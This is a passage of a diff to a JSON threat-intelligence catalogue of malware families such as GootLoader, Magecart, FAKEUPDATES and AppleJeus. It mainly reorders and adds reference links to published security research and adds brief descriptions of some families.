"http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html" ], "synonyms": [ @@ -7319,24 +7805,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor", + "https://www.secureworks.com/research/threat-profiles/gold-niagara" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "81faf0c1-0595-436b-a66a-05d8b435bccd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "fb75a753-24ba-4b58-b7ed-2e39b0c68c65", "value": "Bateleur" }, @@ -7360,12 +7837,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch", - "https://github.com/mdsecactivebreach/CACTUSTORCH", - "https://www.macnica.net/file/mpression_automobile.pdf", - "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", - "https://www.codercto.com/a/46729.html", "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/" + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", + "https://www.codercto.com/a/46729.html", + "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", + "https://github.com/mdsecactivebreach/CACTUSTORCH" ], "synonyms": [], "type": [] @@ -7378,8 +7855,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.chromeback", - "https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/", - "https://unit42.paloaltonetworks.com/chromeloader-malware/" + "https://unit42.paloaltonetworks.com/chromeloader-malware/", + "https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/" ], "synonyms": [], "type": [] @@ -7421,8 +7898,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman", - "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/", - "https://www.prevailion.com/darkwatchman-new-fileness-techniques/" + "https://www.prevailion.com/darkwatchman-new-fileness-techniques/", + "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/" ], "synonyms": [], "type": [] @@ -7451,6 +7928,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.doenerium", + "https://perception-point.io/doenerium-malware/", "https://twitter.com/0xToxin/status/1572612089901993985" ], "synonyms": [], @@ -7475,21 +7953,21 @@ "value": "Enrume" }, { - "description": "", + "description": "According proofpoint, EvilNum is a backdoor that can be used for data theft or to load additional payloads. The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum", - "http://blog.nsfocus.net/agentvxapt-evilnum/", + "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", "https://github.com/eset/malware-ioc/tree/master/evilnum", + "http://blog.nsfocus.net/agentvxapt-evilnum/", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", + "http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html", + "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", - "http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", - "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf" + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/" ], "synonyms": [], "type": [] @@ -7502,27 +7980,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/", "https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends", - "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html", - "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", - "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html", + "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html", "https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", "https://experience.mandiant.com/trending-evil/p/1", - "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm" + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", + "https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems" ], "synonyms": [ "FakeUpdate", @@ -7530,15 +8010,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "cd32b19e-c365-4efc-9998-548e50e04a4c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "cff35ce3-8d6f-417b-ae6c-a9e6a60ee26c", "value": "FAKEUPDATES" }, @@ -7547,30 +8018,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader", - "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", + "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html", "https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader", - "https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", - "https://community.riskiq.com/article/f5d5ed38", - "https://redcanary.com/blog/gootloader", - "https://experience.mandiant.com/trending-evil/p/1", - "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", - "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html" + "https://www.esentire.com/web-native-pages/gootloader-unloaded", + "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", + "https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations", + "https://experience.mandiant.com/trending-evil/p/1", + "https://www.esentire.com/blog/gootloader-leads-to-cobalt-strike-and-hand-on-keyboard-activity", + "https://www.esentire.com/blog/gootloader-striking-with-a-new-infection-technique", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://redcanary.com/blog/gootloader", + "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", + "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", + "https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/", + "https://community.riskiq.com/article/f5d5ed38" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "0bdb6f1c-1229-4556-a535-7444ddfbd7a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5b2569e5-aeb2-4708-889f-c6d598bd5e14", "value": "GootLoader" }, @@ -7580,8 +8046,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.grelos", "https://www.riskiq.com/blog/labs/magecart-medialand/", - "https://community.riskiq.com/article/8c4b4a7a", - "https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745" + "https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745", + "https://community.riskiq.com/article/8c4b4a7a" ], "synonyms": [], "type": [] @@ -7594,20 +8060,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.mandiant.com/resources/evolution-of-fin7", "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", - "https://twitter.com/ItsReallyNick/status/1059898708286939136" + "https://twitter.com/ItsReallyNick/status/1059898708286939136", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" ], "synonyms": [ "Harpy" @@ -7675,10 +8141,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack", "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", "https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://blog.angelalonso.es/2017/10/analysis-of-malicious-doc-used-by-turla.html" ], "synonyms": [], "type": [] @@ -7687,14 +8157,14 @@ "value": "KopiLuwak" }, { - "description": "", + "description": "The LNKR trojan is a malicious browser extension that will monitor the websites visited by the user, looking for pages with administrative privileges such as blog sites or web-based virtual learning environments. When the administrative user posts to the page, the infected extension will execute stored cross-site scripting attack and injects malicious JavaScript into the legitimate HTML of the page. This is used to redirect the second-party visitors of the site to both benign and malicious domains. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr", - "https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/", "https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md", + "https://www.riskiq.com/blog/labs/lnkr-browser-extension/", "https://github.com/Zenexer/lnkr", - "https://www.riskiq.com/blog/labs/lnkr-browser-extension/" + "https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/" ], "synonyms": [], "type": [] @@ -7708,63 +8178,64 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart", "https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", "https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/", - "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", - "https://community.riskiq.com/article/743ea75b/description", "https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", - "https://sansec.io/research/north-korea-magecart", - "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", - "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.goggleheadedhacker.com/blog/post/14", - "https://www.riskiq.com/blog/labs/magecart-nutribullet/", - "https://twitter.com/AffableKraut/status/1415425132080816133?s=20", - "https://twitter.com/MBThreatIntel/status/1416101496022724609", - "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", - "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", - "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", - "https://www.riskiq.com/blog/labs/magecart-medialand/", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", - "https://geminiadvisory.io/magecart-google-tag-manager/", - "https://community.riskiq.com/article/fda1f967", - "https://sansec.io/research/magento-2-persistent-parasite", - "https://community.riskiq.com/article/2efc2782", "https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter", - "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", "https://sansec.io/research/magecart-corona-lockdown", - "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", - "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", - "https://community.riskiq.com/article/017cf2e6", - "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", - "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", "https://community.riskiq.com/article/30f22a00", "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", - "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", - "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", - "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", - "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", - "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", - "https://community.riskiq.com/article/14924d61", - "https://community.riskiq.com/article/5bea32aa", + "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", + "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", + "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", + "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", + "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", + "https://community.riskiq.com/article/743ea75b/description", "https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://twitter.com/AffableKraut/status/1385030485676544001", "https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf", - "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", - "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", + "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/", + "https://community.riskiq.com/article/2efc2782", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", + "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", - "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/" + "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", + "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", + "https://twitter.com/MBThreatIntel/status/1416101496022724609", + "https://community.riskiq.com/article/017cf2e6", + "https://community.riskiq.com/article/5bea32aa", + "https://www.goggleheadedhacker.com/blog/post/14", + "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", + "https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season", + "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", + "https://www.riskiq.com/blog/labs/magecart-nutribullet/", + "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", + "https://twitter.com/AffableKraut/status/1385030485676544001", + "https://sansec.io/research/magento-2-persistent-parasite", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", + "https://community.riskiq.com/article/14924d61", + "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", + "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", + "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", + "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", + "https://community.riskiq.com/article/fda1f967", + "https://sansec.io/research/north-korea-magecart", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", + "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", + "https://geminiadvisory.io/magecart-google-tag-manager/", + "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", + "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", + "https://twitter.com/AffableKraut/status/1415425132080816133?s=20" ], "synonyms": [], "type": [] @@ -7790,30 +8261,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs", - 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"https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/", + "https://blog.gigamon.com/2022/09/28/investigating-web-shells/", "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", - "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/" + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", + "https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/" ], "synonyms": [], "type": [] @@ -8160,30 +8626,60 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.3cx_backdoor", + "https://objective-see.org/blog/blog_0x73.html", + "https://objective-see.org/blog/blog_0x74.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d5e10bf9-9de8-46be-96d0-aa502b14ffe8", + "value": "3CX Backdoor (OS X)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos", + "https://blog.cyble.com/2023/04/26/threat-actor-selling-new-atomic-macos-amos-stealer-on-telegram/" + ], + "synonyms": [ + "Atomic macOS Stealer" + ], + "type": [] + }, + "uuid": "2fa2be52-e44f-4998-bde7-c66cfb6f4521", + "value": "AMOS" + }, + { + "description": "According to PcRisk AppleJeus is the name of backdoor malware that was distributed by the Lazarus group. They spread this malicious software through a fake app disguised as a cryptocurrency trading application called Celas Trade Pro.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://securelist.com/operation-applejeus-sequel/95596/", - "https://objective-see.com/blog/blog_0x54.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", - "https://objective-see.com/blog/blog_0x49.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", - "https://objective-see.com/blog/blog_0x5F.html", - "https://securelist.com/operation-applejeus/87553/", - "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://www.youtube.com/watch?v=1NkzTKkEM2k", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", + "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "https://objective-see.com/blog/blog_0x54.html", + "https://objective-see.com/blog/blog_0x49.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://www.youtube.com/watch?v=1NkzTKkEM2k", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://www.youtube.com/watch?v=rjA0Vf75cYk", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "https://securelist.com/operation-applejeus-sequel/95596/", + "https://securelist.com/operation-applejeus/87553/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.youtube.com/watch?v=rjA0Vf75cYk" ], "synonyms": [], "type": [] @@ -8211,11 +8707,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore", - "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c", + "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/", 